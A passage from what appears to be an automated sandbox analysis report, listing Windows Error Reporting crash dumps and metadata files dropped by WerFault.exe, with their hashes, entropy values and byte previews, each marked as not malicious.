Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7371.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.46722618752413
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjmYm8M4JgtFI1+q8vKOCvBlU1d:uIjfdI7j8Zi7VqJrKFCvBlU1d
MD5:	A00DBF099259E6E1EA32656519891D39
SHA1:	95A16495E6EE818D9BFAEAFC6B54EF12ECEB7AE6
SHA-256:	014C9CA17E14494B8DD1D4B6DF5053009B3053DEF5B3242A19DAA1BDF26D2AC5
SHA-512:	CED40AE5E09BD0A51445D5BF2A1E85A39C9AA0BA9E7DD60B7A4E952F2114FBE515A1C41479F205A98C6D192CB715335F3DCE3F94F84237CAF5F308F547CE5F7D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7582.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Sep 25 08:33:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	74088
Entropy (8bit):	2.316765339690643
Encrypted:	false
SSDEEP:	384:ufFEWa7y1jA7W6QMOYPu/qcGrXW688G8UcxhLJMAOqG4:8DnjA7OY2ScGrxnJG4
MD5:	71B71530DB6F73B7BE0D0525163C396B
SHA1:	B0B2A583B43CC43BD7261D5E3BE418D75498F046
SHA-256:	A4D4AE57285A87D6CA408D5DDEE9D1287121CA77D25EF4E33F2CBADFC52B7436
SHA-512:	E633CA1D7F9B32698A5D0E514C4EDA562C0B837DA8A2E9674F545C7630CD3BD0D5EF6CA01371C50366BB28A5C170DCC1660EFD820E941B9EFEC8DC8412B187BD
Malicious:	false
Preview:	MDMP..a..... ..........f............$...........\...,............0..........T.......8...........T.......................................t...............................................................................eJ..............GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER764E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6386
Entropy (8bit):	3.721526869629576
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbzlf6D3eeYznpFX+ay5aMOUo89brusfwlZm:R6l7wVeJxf67YNUpBo89brusfwlZm
MD5:	C503A623E8E48BBE6193F962C0B23458
SHA1:	A455838DAB22725ACA5B084BADBA5C9FBA51C9C9
SHA-256:	AF4E718F580E77BF2A80F1B18E54C6D15A74C15EE18CB9C04B15727366032261
SHA-512:	0C94EB9B13E16FC8A68E40011EE19D631A732B0C5156C8B2EA07998C8F3E233181F448E00E76704FCC98CE444E798CF64D8879604056B55B230C2121B330891F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER766F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.4670069180601395
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYj1PYm8M4JgtFRd+q8vKOCvBlU1d:uIjfdI7j8Zi7VwSJkdKFCvBlU1d
MD5:	84B4017E8B2CE9D56360ABFE533FB2F6
SHA1:	B1D3E13BBB046639102448206BA970658E9D107E
SHA-256:	8D962AC02EE5E12D60AC8ABA2FBEEA8B882F8B7133DD3FB9F4792708E116FFC7
SHA-512:	D2AA437DA671B4496D719EDDFD5DF833E1A0E54C405C875F4FF47874D1B4BB710F75CD3414037D45C9CC97215333560B19314BFC24DB2327E90AE336E71288CF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7832.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Sep 25 08:33:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	80156
Entropy (8bit):	2.0519938120060717
Encrypted:	false
SSDEEP:	384:GK45yE2dijZdf3iRTD688G8qJbmdDWZs:7Pj4jZdfyRT4TN
MD5:	9606B114F6CBE3059BFF823DA870D767
SHA1:	06E1B79878C5F6132452986F731373AC5BD1F3E7
SHA-256:	CB611239356C71FF61559DB11316D264BC8CB73DA7A95665149A78283469328D
SHA-512:	AC37DF4D1598005A6ADDC7490F4663B748E26C546874352653D5BF9A94ACEFE2021E6D2325EB52D948BD7B4026887F5FCB6B0E5145E216AD05B73C2375D27F93
Malicious:	false
Preview:	MDMP..a..... ..........f........................\...........d...\|6..........T.......8...........T...........x...........................................................................................................eJ......l.......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER78CF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6386
Entropy (8bit):	3.721053033840181
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbzlu6eY+YznpFX+ay5aMOUW89bUusfpBGm:R6l7wVeJxu6j+YNUpBW89bUusfp8m
MD5:	29C81D10A5330890688C44BF425F68D1
SHA1:	47478C6126EB57C6661AB7A85645B9FA2D052D19
SHA-256:	3810993248291138FF262BA6C18165D6A74CC99978C2373740B43EC16D2A1E6C
SHA-512:	36DE75BAB96A98A4C8D4B69862781DB80296E3982A9C135B3DD2E6DDC3D7CC787E02AE2DFE03AF13E7D1E6AFE4B36D0BA18205840FB711C3BF7EFE802FEEB465
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER78FF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.468136381127326
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjA5Ym8M4JgtFHtyY+q8vKOCvBlU1d:uIjfdI7j8Zi7VDoJYyYKFCvBlU1d
MD5:	74C36BBED408A01F6BC77A8B96DF4064
SHA1:	2BE0513EADF8986D71F48CBDD74EADEB104F9D8B
SHA-256:	BBD56F8444CE751631540AAA7E842E254CCEDE71639E6311FF70EC4E5D128FEB
SHA-512:	9DD7DA8E42656987B7E5E5E2917191FB24DC1C4BDEF95E551FC89D625EEA1E58363E0EB5642DF87276486B6982043B240DCE7799689CC49D664427DF44F62F3C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER90D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:35 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	83438
Entropy (8bit):	2.152855398022418
Encrypted:	false
SSDEEP:	384:KhGQ7CsbYtXilHpvRR2G4B0XpJ2XBQU22J3trgSKHY0bDyg:8GQe+NHpvRR34+XH2XbdOnDy
MD5:	99F53E016AB4FD6F8681B308349C3C4C
SHA1:	0B087876BCE834D46414805481CDB7E0E832F307
SHA-256:	916496EE3380390BE9F03391E479E42FD02293BADB2387AC62D02ED2B80CE7D3
SHA-512:	1B658B9A524DA66E5F89D4F1E00866B7D21D4F27B3812D521C76F70090B7CC6DA2158ADE95207C0A3B77F0FAE2EA050907AE83364B0AC8B6E6D92475DD217F50
Malicious:	false
Preview:	MDMP..a..... ..........f....................................<...\|.......D...":..........`.......8...........T...........p"..~#......................................................................................................eJ......<.......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.705624709832181
Encrypted:	false
SSDEEP:	192:R6l7wVeJnV6Iyu6Y2DzSUc3Vl/ggmfGUpB089bEQsfl15sm:R6lXJV6Iyu6Y+SUKVKgmfGCEjfl1n
MD5:	E3EE1291A1E73912CFF6FA94958A40EC
SHA1:	471937AE679CCCC9A642573682117A3FF97DA6DD
SHA-256:	931D89901E2FA1221BC11B5BD9534A7742AF9B0AEEC2BF35267FB86D17DD6F3A
SHA-512:	C2F8EFD937C7EF26337EB7987709C766797FE2D010DCD559CD5282EF2093B4CCBE2AFEC08ED12B9CAEA7B6DB708AA7BF98FE6F498B9BB7B62137CCFBB1133B2B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E9.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.487463020123947
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjQYm8M4JAtFf+q8vdEvmZltId:uIjfdI7j8Zi7VMJ2KyvmZltId
MD5:	20DCA7119676607F54AC67B346797B28
SHA1:	2FF75E96F48453EB6A0BB7E061784F8502F2880F
SHA-256:	41C3A3002984FF41FA4BB8F2ECD2F0102B9C289083E04C174F321C4DB8D46449
SHA-512:	EBE67837B947EC2E08B092C8FBFA19331ADE3CE1E93F6E7E156E34960C1FF251D2A309B1D75604C8E55D64D77E6699C02D6479DA638A30CE8EC7C64164CCED03
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	87504
Entropy (8bit):	2.267387670635011
Encrypted:	false
SSDEEP:	384:XBECsbYtXbjdHp3BmAVPQSLTZeb7VvIO/Beh6gX0WpJ2XBQUd8J3trgSKHcc1tsN:XBR+udHp3BF5Xeb/JWH2XmdO1tm
MD5:	0DC29EDF988EDDA107D71386DF39555B
SHA1:	71A4D4AEC038481F0F417FBAC754736D0179293E
SHA-256:	65DC36667B06A9D60617AE1F10C7B949F7C8EFEE75BBCBBE9570858E4BC2B3C3
SHA-512:	EEC9FABDB138926E7B49A27F6FD8408C68BE86B7F59A545731499522D7A559579FEB9DBF34F45474163369E130BDB7DBE7F8DEE4425164BD18CAC719AED8766C
Malicious:	false
Preview:	MDMP..a..... ..........f....................................<...\|...........":..........`.......8...........T............"...3......................................................................................................eJ......<.......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.705706485204823
Encrypted:	false
SSDEEP:	192:R6l7wVeJnY6IyKe6Y2DxSUc3Vl/ggmfGUpBw89bEQsfksm:R6lXJY6IyKe6Y8SUKVKgmfGuEjfG
MD5:	A7D8EBEFF0A87ECC9489E7A49B5EBA38
SHA1:	8AEEE9B95AE33259A4F10A601A97A628CF80D552
SHA-256:	C0CA89FCA2C5EFA3246912C5F77C834BA51FE1563C41D2FDC4E9B5B1E8DC107F
SHA-512:	BFB92DC0276D3C593F1497EE8634C7B7E3B9D54B9B1DFEDC40582B5214DBEFA815FDE2104018DB17954B952EF38D319056CF8A42F4B5C1DA8BA8BCDA3476DA41
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC6A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.4892275764429215
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjroYm8M4JAtFbZ+q8vdEvmZltId:uIjfdI7j8Zi7VMFJAKyvmZltId
MD5:	C55BB75A3F25049917C2DA0272A9E196
SHA1:	754A82A5624D4B84B5DC759C90BEF39C47C2BC88
SHA-256:	7AC81C20449C1C57029E6EB335D6018F7F9D514713623745B2CCAAA9D5A34F4D
SHA-512:	5AD6A8D6BBB0E3D40EB9766E49CE581CB2D9DA4D4E509A43E0D63ECC1AA411F0A96BEC6AD32F910938EEFCF5C69195E2405B469979824EF1A241CF28FADC427B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8406
Entropy (8bit):	3.703353932385977
Encrypted:	false
SSDEEP:	192:R6l7wVeJnz626Y2DCSURVsPgmfGUpBT89bpQsfHjm:R6lXJz626YvSURVkgmfG3pjfa
MD5:	E91A8A2F85CD82A01E412427C0720E4F
SHA1:	A17EED4203ECDB2A6F04946F184D5B8859A2057B
SHA-256:	12814FF616A3ACFAB7A9F1044AC269CAF42CEE68F539F0BE67FBDC49175ACFD9
SHA-512:	895C074C94666CAFD514DEAECFBE448F0D212FCF52F06EE13BDA51A6F38A19598F02E6F21F1A9EEF6AF987BD08B309E6D137393C84FD4FD37BF615A93BC26F27
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE7B.tmp.dmp

Download File

